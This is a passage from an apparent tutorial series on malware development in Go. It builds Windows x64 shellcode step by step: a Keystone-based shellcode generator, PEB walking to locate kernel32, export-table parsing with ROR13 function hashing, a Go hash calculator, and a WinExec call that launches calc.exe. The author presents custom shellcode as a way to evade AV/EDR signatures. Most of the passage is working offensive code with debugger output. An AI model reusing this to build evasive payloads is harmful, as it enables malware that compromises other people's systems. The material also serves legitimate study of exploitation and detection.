    KS_ARCH_X86,        // X86 architecture (including x86 & x86-64)
    KS_ARCH_PPC,        // PowerPC architecture (currently unsupported)
    KS_ARCH_SPARC,      // Sparc architecture
    KS_ARCH_SYSTEMZ,    // SystemZ architecture (S390X)
    KS_ARCH_HEXAGON,    // Hexagon architecture
    KS_ARCH_EVM,        // Ethereum Virtual Machine architecture
    KS_ARCH_MAX,
} ks_arch;
```

And the modes:

```cpp
// Mode type
typedef enum ks_mode {
    KS_MODE_LITTLE_ENDIAN = 0,    // little-endian mode (default mode)
    KS_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode
    // arm / arm64
    KS_MODE_ARM = 1 << 0,              // ARM mode
    KS_MODE_THUMB = 1 << 4,       // THUMB mode (including Thumb-2)
    KS_MODE_V8 = 1 << 6,          // ARMv8 A32 encodings for ARM
    // mips
    KS_MODE_MICRO = 1 << 4,       // MicroMips mode
    KS_MODE_MIPS3 = 1 << 5,       // Mips III ISA
    KS_MODE_MIPS32R6 = 1 << 6,    // Mips32r6 ISA
    KS_MODE_MIPS32 = 1 << 2,      // Mips32 ISA
    KS_MODE_MIPS64 = 1 << 3,      // Mips64 ISA
    // x86 / x64
    KS_MODE_16 = 1 << 1,          // 16-bit mode
    KS_MODE_32 = 1 << 2,          // 32-bit mode
    KS_MODE_64 = 1 << 3,          // 64-bit mode
    // ppc 
    KS_MODE_PPC32 = 1 << 2,       // 32-bit mode
    KS_MODE_PPC64 = 1 << 3,       // 64-bit mode
    KS_MODE_QPX = 1 << 4,         // Quad Processing eXtensions mode
    // sparc
    KS_MODE_SPARC32 = 1 << 2,     // 32-bit mode
    KS_MODE_SPARC64 = 1 << 3,     // 64-bit mode
    KS_MODE_V9 = 1 << 4,          // SparcV9 mode
} ks_mode;
```

From the definitions above we will only go ahead and implement the following :

```go
const (
	MODE_32 = 4
	MODE_64 = 8

	ARCH_X86 = 4
)
```

With everything required in place we can go ahead and call the function. If 32-bit shellcode is required we should change MODE\_64 to MODE\_32.

```go
fmt.Println("[+] Running ks_open_proc")
var ksSession uintptr
r1, _, err := syscall.SyscallN(ks_open_proc, uintptr(ARCH_X86), uintptr(MODE_64), uintptr(unsafe.Pointer(&ksSession)))
if r1 != 0 {
	return []byte{}, fmt.Errorf("ks_open failed")
}
```

### ks\_asm() function

```cpp
/*
 Assemble a string given its the buffer, size, start address and number
 of instructions to be decoded.
 This API dynamically allocate memory to contain assembled instruction.
 Resulted array of bytes containing the machine code  is put into @*encoding

 NOTE 1: this API will automatically determine memory needed to contain
 output bytes in *encoding.

 NOTE 2: caller must free the allocated memory itself to avoid memory leaking.

 @ks: handle returned by ks_open()
 @str: NULL-terminated assembly string. Use ; or \n to separate statements.
 @address: address of the first assembly instruction, or 0 to ignore.
 @encoding: array of bytes containing encoding of input assembly string.
	   NOTE: *encoding will be allocated by this function, and should be freed
	   with ks_free() function.
 @encoding_size: size of *encoding
 @stat_count: number of statements successfully processed

 @return: 0 on success, or -1 on failure.

 On failure, call ks_errno() for error code.
*/
KEYSTONE_EXPORT
int ks_asm(ks_engine *ks,
        const char *string,
        uint64_t address,
        unsigned char **encoding, size_t *encoding_size,
        size_t *stat_count);

```

From the above definition we will require the following:

* the handle returned by ks\_open stored in variable ksSession .
* We then require a pointer to our null terminated string.
* address can be ignored so it will be set to 0
* A pointer for the buffer to be written
* A pointer for the size of the buffer to be written
* A pointer for the number of statements successfully processed

In order to get a pointer to null terminated string the following code can be used.

<pre class="language-go"><code class="lang-go">ptr, err := syscall.BytePtrFromString(asm)
if err != nil {
<strong>    return []byte{}, fmt.Errorf("Failed to get byte ptr from string\n")
</strong>}
</code></pre>

We now have everything we need to call the the ks\_asm function&#x20;

```go
	var bytearray, size, count uintptr

	r1, _, _ = syscall.SyscallN(ks_asm_proc,
		ksSession,
		uintptr(unsafe.Pointer(ptr)),
		0,
		uintptr(unsafe.Pointer(&bytearray)),
		uintptr(unsafe.Pointer(&size)),
		uintptr(unsafe.Pointer(&count)),
	)
	if r1 != 0 {
		return []byte{}, fmt.Errorf("ks_asm failed")
	}
```

### Bytes in a slice

We then go ahead and copy the memory contents to a byte slice using the following code .

```go
fmt.Println("[+] Copying bytes from memory to byte slice")
bytes := make([]byte, size)
copy(bytes, (*[1 << 30]byte)(unsafe.Pointer(bytearray))[:size])
return bytes, nil
```

## Test code

Let's test our code to ensure we get the expected results.

```go
func main() {
	asmString := "nop; nop; inc rax;"
	bytes, err := GenerateShellcode(asmString)
	if err != nil {
		log.Fatalln(err)
	}
	for _, bt := range bytes {
		fmt.Printf("0x%x ", bt)
	}
}
```

With this sequence of commands we should expect the following output&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fpx5U0IskTgv1za1F0QsT%2Fimage.png?alt=media&amp;token=1ff0adb6-0f19-440d-87d4-986214f6567a" alt=""><figcaption></figcaption></figure>

The output of our script matches the expected results. Great :)

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FyxVV4JhrvrdmCjDjJ5wY%2Fimage.png?alt=media&amp;token=0b880a5a-ca94-4fa6-8649-714ec03dd83d" alt=""><figcaption></figcaption></figure>


# 2.  Windows x64 Shellcode Development intro

\#x64 #shellcode #golang #asm

## Introduction

Shellcode is a small piece of code written in assembly language that is used to perform a specific function in the context of a software exploit. The term "shellcode" comes from the idea that the code often opens a shell, providing an attacker with command-line access to a compromised system.

Shellcode is commonly associated with security exploits, especially in the field of cybersecurity and penetration testing. It is often injected into a vulnerable program's memory through various means, such as buffer overflows or other vulnerabilities, to take control of the program's execution flow.

The functionality of shellcode can vary widely, depending on the goals of the attacker. It might include actions like spawning a shell, downloading and executing malicious payloads, or performing other malicious activities.

It's important to note that while shellcode itself is not inherently malicious, it is commonly used as a component of exploits and attacks.

A common tool for generating shellcode is [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html). Any payload generated from this tool is heavily signatured by AV/EDR vendors. Being able to write custom shellcode is a great addition to the arsenal of any offensive security professional.&#x20;

## Assembly - Intel Syntax

Throughout this blog post I will be using Intel Syntax. I think it's much easier to read and write. It's also the default syntax for Windbg which is the debugger I will be using for testing my assembly code.

### Syntax

Intel syntax follows this convention:

```
instruction destination, source;
```

So let's take a a real example. The add command will add the value on the right to the to the value on the left.&#x20;

```
add rax,1;
```

In this case if rax had the value 2 before the command was ran, after execution it will have the value of 3.&#x20;

### Common ASM instructions

| Instructions              | Explanation                                                                  |
| ------------------------- | ---------------------------------------------------------------------------- |
| mov rax,1;                | Moves value 1 (decimal) to rax. Add 0x in front of the number for hex values |
| mov rax, qword ptr \[r8]; | Moves the qword from the location of r8 to rax                               |
| add rax,1;                | Adds 1 to rax                                                                |
| sub rax,1;                | Subtracts 1 from rax                                                         |
| push rax;                 | Pushes the value of rax to the stack                                         |
| pop rax;                  | Pops the first value of the stack into rax;                                  |
| call rax;                 | Calls the function at the address stored in rax                              |
| jmp rax;                  | Jumps at the address stored in rax                                           |
| xor rax,rax;              | logical xor, zeros the contents of rax                                       |
| int3;                     | breakpoint                                                                   |

The above instructions are the most commonly used when we are writing shellcode. A few others will be used but they will be explained as we walk through the actual code.

### Registers

The whole list of registers can be found on [microsoft's website](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/x64-architecture).  Let's have a quick look on how some of the registers will be used within the shellcode.&#x20;

Let's take rax as an example.&#x20;

| register | size                                   |
| -------- | -------------------------------------- |
| rax      | 64-bit register                        |
| eax      | 32-bit register (lower 32 bits of rax) |
| ax       | 16-bit register (lower 16 bits of eax) |
| ah       | 8-bit register (higher 8 bits of ax)   |
| al       | 8-bit register (lower 8 bits of ax)    |

Let's take r8 as another example

| register | size                                   |
| -------- | -------------------------------------- |
| r8       | 64-bit register                        |
| r8d      | 32-bit register (lower 32 bits of r8)  |
| r8w      | 16-bit register (lower 16 bits of r8d) |
| r8b      | 8-bit register (lower 8 bits of r8w)   |

d - double word

w - word

b - byte

{% hint style="info" %}
A few things to note when using the different variations of these registers. Let's say the following instruction is used:

<pre><code><strong>mov rax, qword ptr [r8];
</strong></code></pre>

The source and destination should match in size. We cannot use a 64-bit register as our destination but a 32 bit (dword) as our source. Keystone will not generate the op codes for us.&#x20;
{% endhint %}

## Shellcode template

A good template I found online when I was looking for one can be found [here](https://www.exploit-db.com/exploits/51634).&#x20;

I am not a big fan of python so I ported the above script in go. Also to make it easy for development and debugging I will include the [shellcode runner script](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) and automatically launch and attach Windbg Preview.&#x20;

The ported code can be downloaded from my github page [here](https://github.com/scriptchildie/goShellcodeDevelopment). If you are more familiar with python you can use the original template from exploitdb and follow along. Only caveat is that you will have to write your own shellcode runner to execute the code.&#x20;

## Objective

With everything we have now in place, let's have a quick look at the code we are trying to execute in a higher level language.&#x20;

{% code lineNumbers="true" %}

```go
package main

import (
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {

	hModule, _ := windows.LoadLibrary("kernel32.dll")

	winexecaddr, _ := windows.GetProcAddress(hModule, "WinExec")

	calcstring, _ := syscall.BytePtrFromString("calc.exe")

	syscall.SyscallN(
		winexecaddr, 
		uintptr(unsafe.Pointer(calcstring)), 
		0x1)
}

```

{% endcode %}

From the above code we essentially have 4 lines of code we would like to turn into assembly.&#x20;

Line 12: Import kernel32.dll

Line14: Get the Process address of WinExec

Line16: Get a Pointer to a null terminated string "calc.exe"&#x20;

Line 18: Call the Winexec function passing the pointer from line 16 as the first argument and 1 as the second.

## Shellcode

### Finding kernel32.dll

As mentioned previously the first step of developing our shellcode is to find the base address of kernel32.dll in memory. Kernel32.dll is always loaded in the process memory on creation.&#x20;

To find the address we have to perform the following tasks.&#x20;

1. Get the address of the [PEB ](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)structure from [TEB](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb)
2. From PEB we can get the [PEB\_LDR\_DATA](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)
3. And from PEB\_LDR\_DATA we can get [InMemoryOrderModuleList](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data#remarks)

Let's walk through the assembly code in windbg to ensure we get the expected results. We start by adding a breakpoint `int3;` at the top of our shellcode.

{% code lineNumbers="true" %}

```nasm
 "find_kernel32:",
 " int3;",
 " xor rdx, rdx;",
 " mov rax, gs:[rdx+0x60];", // RAX stores  the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
 " mov rsi,[rax+0x18];",     // Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
 " mov rsi,[rsi + 0x20];",   // RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure
 " mov r9, [rsi];",          // Current module is current executable
 " mov r9, [r9];",           // Current module is ntdll.dll
 " mov r9, [r9+0x20];",      // Current module is kernel32.dll
 " jmp call_winexec;",
```

{% endcode %}

#### Get the address of the PEB structure from TEB

Line 3: In the context of Windows, the `gs` register points to the thread information block (TEB), which contains information about the current thread

In Windbg we can view the structure using the following command&#x20;

```
dt nt!_TEB @$teb
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FzSJjcLm2Cf7Bxziritmr%2Fimage.png?alt=media&amp;token=c23f2a6d-ab06-4b84-904a-153d939d37e7" alt=""><figcaption></figcaption></figure>

We can see that the PEB is located at offset 0x60 from the beginning of the TEB. Once we step over the following instruction we should get the address of PEB in rax

```
mov     rax,qword ptr gs:[rdx+60h]
```

A quick sanity check confirms that the value in the rax register matches the one from the TEB.

```
0:001> r rax
rax=00000009d0110000
```

#### From PEB we can get the PEB\_LDR\_DATA

Line 5: We have the value of PEB in RAX and we now try to get the address of the PEB\_LDR\_DATA.

We can then use the following command to view the PEB Structure and identify the offset for LDR

```
dt nt!_PEB 00000009d0110000
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fl3DDHCl2cOoYDVHEtY98%2Fimage.png?alt=media&amp;token=4053df19-9592-48e8-bbdb-2ad136329b81" alt=""><figcaption></figcaption></figure>

As we can see from above the offset to Ldr is 0x18. Let's step over line 5 that has the following instruction to see if we get the address of PEB\_LDR\_DATA in the RSI register

```
" mov rsi,[rax+0x18];"
```

Let's do a quick sanity check using windbg

```
0:001> p
0000016b`78f8000d 488b7620        mov     rsi,qword ptr [rsi+20h] ds:00007ffc`22ff6400=0000016b52262c80
0:001> r rsi
rsi=00007ffc22ff63e0
```

Great, we now have the address of the struct in rsi

#### We can get InMemoryOrderModuleList from PEB\_LDR\_DATA&#x20;

Line 6: We now have the PEB\_LDR\_DATA address in rsi and we want to get the value of InMemoryOrderModuleList to rsi. Let's view the struct in windbg once again to make sure we have the correct offset in our shellcode.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F9N3h48bbR3NDdxkpznUn%2Fimage.png?alt=media&amp;token=e4863ba9-24be-40fe-b6da-1491c050d9a1" alt=""><figcaption></figcaption></figure>

The offset seems to be correct in our code&#x20;

```
" mov rsi,[rsi + 0x20];"
```

Let's step over in our code to see if we get the right value in rsi.

```
0:001> p
0000016b`78f80011 4c8b0e          mov     r9,qword ptr [rsi] ds:0000016b`52262c80=0000016b52262ae0
0:001> r rsi
rsi=0000016b52262c80
```

#### Walk the link list.

Kernel32 comes after the current executable and ntdll. So moving forward twice should give us the \_LDR\_DATA\_TABLE\_ENTRY of kernel32. Let's confirm this.

First Entry ks.exe:

```
dt _LDR_DATA_TABLE_ENTRY 0x16b52262c80-0x10
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FYxje7FHi9IIyWqNrWsbs%2Fimage.png?alt=media&amp;token=31ec617e-9818-4e4b-86ac-97cd25185573" alt=""><figcaption><p>ks.exe (current running process)</p></figcaption></figure>

Second entry ntdll.dll

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FqErf4yMRU3MAtdGeBEiq%2Fimage.png?alt=media&amp;token=5735cdf2-7fbb-4c22-a4f3-a17513b36240" alt=""><figcaption><p>ntdll.dll</p></figcaption></figure>

Third entry kernel32.dll

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FqQrCkvxfff154UH53zMH%2Fimage.png?alt=media&amp;token=784d2664-c9fc-465e-b9b7-506b56f47a0c" alt=""><figcaption><p>kernel32.dll</p></figcaption></figure>

We can see from the beginning of the structure the offset to the DllBase is at 0x30. Since we are substructing 0x10 from the r9 register to get to the beginning of the structure we only need to add 0x20 to get the DllBase value.&#x20;

```
" mov r9, [r9+0x20];",      
```

Let's confirm that after stepping over line 9 in our code the register r9 will hold the kernel32.dll base address.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fvi6I8Emxtr7Qyw9kSmDI%2Fimage.png?alt=media&amp;token=e535b8db-13cb-41eb-a147-effee5db31cc" alt=""><figcaption></figcaption></figure>

Awesome.. with the address of kernel32 in r9 we can now proceed to get the address of winexec

### GetProcAddress

The next step step in our shellcode is to create a function to walk through the exports directory of any given dll (base address) and return the absolute address of the function. Although in this example we will only call it once, in larger and more real world scenarios we will most likely have to call this function multiple times.&#x20;

{% code lineNumbers="true" %}

```nasm
"parse_module:",                    // Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];", // R9 stores  the base address of the module, get the NT header offset
" xor r15, r15;",
" mov r15b, 0x88;", // Offset to Export Directory
" add r15, r9;",
" add r15, rcx;",
" mov r15d, dword ptr [r15];",        // Get the RVA of the export directory
" add r15, r9;",                      // R14 stores  the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];",  // ECX stores  the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT
" add r14, r9;",                      // R14 stores  the VMA of ENPT

"search_function:",  // Search for a given function
" jrcxz not_found;", // If RCX is 0, the given function is not found
" dec ecx;",         // Decrease index by 1
" xor rsi, rsi;",
" mov esi, [r14 + rcx*4];", // RVA of function name string
" add rsi, r9;",            // RSI points to function name string

"function_hashing:", // Hash function name function
" xor rax, rax;",
" xor rdx, rdx;",
" cld;", // Clear DF flag

"iteration:",        // Iterate over each byte
" lodsb;",           // Copy the next byte of RSI to Al
" test al, al;",     // If reaching the end of the string
" jz compare_hash;", // Compare hash
" ror edx, 0x0d;",   // Part of hash algorithm
" add edx, eax;",    // Part of hash algorithm
" jmp iteration;",   // Next byte

"compare_hash:", // Compare hash
" cmp edx, r8d;",
" jnz search_function;",               // If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];",            // Ordinal table RVA
" add r10, r9;",                       // Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];", // Ordinal value -1
" mov r11d, [r15 + 0x1c];",            // RVA of EAT
" add r11, r9;",                       // VMA of EAT
" mov eax, [r11 + 4*rcx];",            // RAX stores  RVA of the function
" add rax, r9;",                       // RAX stores  VMA of the function
" ret;",
"not_found:",
" ret;",

```

{% endcode %}

Let's break the code down into smaller pieces to understand exactly what's happening.&#x20;

#### parse\_module

{% code lineNumbers="true" %}

```nasm
"parse_module:",                    // Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];", // R9 stores  the base address of the module, get the NT header offset
" xor r15, r15;",
" mov r15b, 0x88;", // Offset to Export Directory
" add r15, r9;",
" add r15, rcx;",
" mov r15d, dword ptr [r15];",        // Get the RVA of the export directory
" add r15, r9;",                      // R15 stores  the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];",  // ECX stores  the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT
" add r14, r9;",                      // R14 stores  the VMA of ENPT
```

{% endcode %}

The parse\_module function expects 2 values from the caller:

* R9 -> should hold the base address of the dll
* R8d -> should have the hash of the function (more on this [later](#helper-code-for-hash-calculation))

Line 2: The offset value to the beginning of the nt header is moved to ecx

PE-bear is an excellent tool that can be used to cross check if the values we see in windbg are indeed the right ones.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FO3Sj0IeuNTxRFwvern1n%2Fimage.png?alt=media&amp;token=a17da6c1-0ae4-425a-97d1-d031aad7fdb4" alt=""><figcaption><p>DOS header</p></figcaption></figure>

Let's step over the code in line 2 to make sure we are getting the correct result. The value we expect to see in ecx is E8.

```
0:010> t
000001f8`6d17001d 418b493c        mov     ecx,dword ptr [r9+3Ch] ds:00007ffc`2127003c=000000e8
0:010> p
000001f8`6d170021 4d31ff          xor     r15,r15
0:010> r ecx
ecx=e8
```

Lines 3-7: What happens on these lines is basically the following calculation

NtHeader = DllBase + 0xE8&#x20;

Export Directory = NtHeader + 0x88&#x20;

```
0:010> ?e8+0x88
Evaluate expression: 368 = 00000000`00000170
```

From a quick calculation we can see that Export directory is at offset 0x170 from the base address. Let's check in PE Bear if that offset points to the export directory in PE Bear&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRLwJowWFulf0NY3K22Zq%2Fimage.png?alt=media&amp;token=ef3c8598-e90a-48be-9c85-3c9e63e178aa" alt=""><figcaption><p>Optional Header</p></figcaption></figure>

We can see that the offset 0x170 points to the RVA of the export directory.&#x20;

Let's walk over the following instruction in windbg to ensure that r15 holds the RVA value we expect to see&#x20;

```
" mov r15d, dword ptr [r15];",   
```

{% hint style="info" %}
When we move a dword in the lower 32-bits of a register, the higher 32-bits are filled with 0s.

This is not the case when we move a value into the lower 16-bits of the register.
{% endhint %}

```
0:010> r r15
r15=000000000009e750
```

We can now add r9 which holds the dllBase address to calculate the absolute address of the Export directory.

```
" add r15, r9;",        
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F1CenixbigmdkGqs7dRr6%2Fimage.png?alt=media&amp;token=181991da-6b95-43f2-ba72-80ebb9f6b5b6" alt=""><figcaption><p>Exports</p></figcaption></figure>

In windbg we can confirm that we are indeed pointing to the right location by viewing the first two double words.

```
0:010> r r15; dd r15 L2
r15=00007ffc2130e750
00007ffc`2130e750  00000000 2e35230e
```

We can see the value of Characteristics (00000000 )  and ReproChecksum (2e35230e)

```
" mov ecx, dword ptr [r15 + 0x18];",  // ECX stores  the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT
" add r14, r9;",                      // R14 stores  the VMA of ENPT
```

The last 3 lines store the number of function names in ecx and the address of names in r14.

```
0:010> r ecx
ecx=687
```

```
0:010> dd r14
00007ffc`21310194  000a28cb 000a2904 000a2937 000a2946
00007ffc`213101a4  000a295b 000a2980 000a2989 000a2992
00007ffc`213101b4  000a29a3 000a29b4 000a29f9 000a2a1f
```

A quick look in PE-bear reveals that we have the right values in both ecx, and r14. We can see that the first value at r14 is the same as the first Name RVA below.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FtwFxbxFshmSra0HwfpAv%2Fimage.png?alt=media&amp;token=db9c88a0-41a5-4bf6-b414-d8f1fbe26020" alt=""><figcaption><p>NameRVA</p></figcaption></figure>

#### search\_function

{% code lineNumbers="true" %}

```nasm
"search_function:",  // Search for a given function
" jrcxz not_found;", // If RCX is 0, the given function is not found
" dec ecx;",         // Decrease index by 1
" xor rsi, rsi;",
" mov esi, [r14 + rcx*4];", // RVA of function name string
" add rsi, r9;",            // RSI points to function name string
.
.
.
"not_found:",
" ret;",
```

{% endcode %}

The functionality of this code is fairly simple.

Line 2: checks if ecx = 0 and if it is it jumps to line 10 that terminates the execution of our shellcode. When ecx is 0 it means that our shellcode went through the whole export list without finding the requested function.

Line3: Decrements ecx by 1 for every iteration

Line4: zeros rsi

Line 5: For the first iteration the last Export RVA is moved to esi

Line 6: Adds base address to RVA to get absolute value in rsi

The second time the loop reaches this point this is the output from Windbg

```
000001f8`6d170049 4c01ce          add     rsi,r9
0:010> r rsi
rsi=00000000000ad02a
0:010> p
000001f8`6d17004c 4831c0          xor     rax,rax
0:010> db rsi
00007ffc`2131d02a  75 61 77 5f 77 63 73 6c-65 6e 00 75 61 77 5f 77  uaw_wcslen.uaw_w
00007ffc`2131d03a  63 73 72 63 68 72 00 00-00 00 f0 f0 0a 00 00 00  csrchr..........
```

&#x20;It matches the exported functions from PE-bear

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FJzArZrsYPYvxXv8XQJaJ%2Fimage.png?alt=media&amp;token=e1d32d92-bc8a-43b5-bd2a-7561ed7344c8" alt=""><figcaption><p>Exports in PE bear</p></figcaption></figure>

#### function\_hashing

The shellcode author in this case came up with a smart algorithm that generates a hash based on the Function name. It then compares the generated hash with the hash we provide it. The caveat of that is that we have to write a [piece of code](#helper-code-for-hash-calculation) to calculate that hash for us.&#x20;

{% code lineNumbers="true" %}

```nasm
"function_hashing:", // Hash function name function
" xor rax, rax;",
" xor rdx, rdx;",
" cld;", // Clear DF flag

"iteration:",        // Iterate over each byte
" lodsb;",           // Copy the next byte of RSI to Al
" test al, al;",     // If reaching the end of the string
" jz compare_hash;", // Compare hash
" ror edx, 0x0d;",   // Part of hash algorithm
" add edx, eax;",    // Part of hash algorithm
" jmp iteration;",   // Next byte
```

{% endcode %}

Lines 1-4 : Zero rax  & rdx  and clear DF flag

The iteration code is where the hashing happens.&#x20;

Line 6: loadsb takes the first byte from the address pointed to by the RSI and write is to the lowest byte of rax (al)

Lines 8-9: Checks if the value is 0 that indicates the end of the string and jumps to the next function

Line 10:  The x86-64 assembly instruction `ror edx, 0x0d` performs a "rotate right" operation on the contents of the edx register. In this case, the rotation is by 13 bits (0x0d in hexadecimal is 13 in decimal).

Imagine edx could only hold 4 bits. Here is an example of the ror effect after rotating right 1 bit.

<pre><code><strong>edx =  0101
</strong>ror edx, 0x01
edx= 1010
</code></pre>

Line 11: Adds eax to edx

Line 12: Loops to the next byte

#### compare\_hash

{% code lineNumbers="true" %}

```nasm
"compare_hash:", // Compare hash
" cmp edx, r8d;",
" jnz search_function;",               // If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];",            // Ordinal table RVA
" add r10, r9;",                       // Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];", // Ordinal value -1
" mov r11d, [r15 + 0x1c];",            // RVA of EAT
" add r11, r9;",                       // VMA of EAT
" mov eax, [r11 + 4*rcx];",            // RAX stores  RVA of the function
" add rax, r9;",                       // RAX stores  VMA of the function
" ret;",
```

{% endcode %}

The last part of the code is where the actual comparison takes place with the provided hash. Our hash will be located in r8d.&#x20;

Line 2: Compares calculated hash from the previous function with the one we provided

Line 3: If they are not equal it jumps back to our search\_function loop to get the next entry.&#x20;

Lines 4-10 Only execute if the provided and calculated hashes match

Line 4: r15 holds the address of the export directory. The offset 0x24 points to the AddressOfNameOrdinals

&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FgDeBsFZmK6hbcNMebcX8%2Fimage.png?alt=media&amp;token=d2674e6d-6a19-45c6-b66a-45f4019e9c12" alt=""><figcaption><p>Exports directory</p></figcaption></figure>

```
000001f8`6d170064 458b5724        mov     r10d,dword ptr [r15+24h] ds:00007ffc`2130e774=000a1bb0
0:010> p
000001f8`6d170068 4d01ca          add     r10,r9
0:010> r r10
r10=00000000000a1bb0
```

Line 5: Adds base address to the RVA to get absolute address of the Address of name ordinal

Line 6: Adds the ordinal value of the function above the desired one in ecx

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FaeuWCxyKVRXMPYxRf4ve%2Fimage.png?alt=media&amp;token=e750e09c-1ecf-46a8-9efb-520f22964aba" alt=""><figcaption><p>Function Ordinal</p></figcaption></figure>

```
0:010> r ecx
ecx=638
```

As we can see the ordinal value in ecx is pointing to the function WideCharToMultiByte

The ordinal value of WinExec is 639.

Lines 7-8: Point to the addresses of functions. That 's the value we need to call the function.

Line 9: Gets the RVA of the address of function for WinExec in eax

```
0:010> r eax
eax=68660
```

Comparing with the previous screenshot we can see that it's a match

Line 10: We add the base address and we have the function in the rax register ready to be called as needed.&#x20;

### Helper code for hash calculation

If you made it to this point, you are probably wondering how can you calculate the hash and provide it to the assembly code.&#x20;

The following code will calculate and print the hash for us:

```go
package main

import (
	"fmt"
	"math/bits"
)

func main() {

	funcName := "WinExec"
	fmt.Printf("Function Name: %s , Function Hash: 0x%x", funcName, HashCalculator(funcName))

}

func HashCalculator(funcName string) uint32 {

	var hash uint32 = 0
	// Convert string to byte slice
	byteSlice := []byte(funcName)

	for _, byte := range byteSlice {
		hash = bits.RotateLeft32(hash, -0x0d)
		hash += uint32(byte)

	}
	return hash
}

```

{% embed url="<https://go.dev/play/p/o6AZbAcQ-8l>" %}

### Call the WinExec function

{% code lineNumbers="true" %}

```nasm
"call_winexec:",
"    mov r8d, 0xe8afe98;", // WinExec Hash
"    call parse_module;",  // Search and obtain address of WinExec
"    xor rcx, rcx;",
"    push rcx;",                    // \0
"    mov rcx, 0x6578652e636c6163;", // exe.clac
"    push rcx;",
"    lea rcx, [rsp];", // Address of the string as the 1st argument lpCmdLine
"    xor rdx,rdx;",
"    inc rdx;", // uCmdShow=1 as the 2nd argument
"    sub rsp, 0x28;",
"    call rax;", // WinExec
```

{% endcode %}

We now reach the end of our code.

Referring back to the [original go code ](#objective)we need to get a pointer to a null terminated string, in this example  a pointer to 'calc.exe' and then call the function.

Line 2: we can use the [helper code](#helper-code-for-hash-calculation) to calculate the function hash:

```
Function Name: WinExec , Function Hash: 0xe8afe98
```

We then feed the value to r8d.

Line 3: We call the parse\_module function. if everything went well rax will have the address of the function

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FfOTLvCTWS9p7P3vDN8wA%2Fimage.png?alt=media&amp;token=bbce0061-1f07-4c62-932d-38f585ef4f07" alt=""><figcaption><p>rax holds the address of WinExec</p></figcaption></figure>

Great, we now only have to pass the arguments to the function.

It's a good place to pause now and have a quick look on the x64 calling convention. When calling a function in x64 the first four arguments will go to the registers rcx,rdx,r8,r9 and all the rest to the stack from right to left. So the last argument should be pushed to the stack first and so on.&#x20;

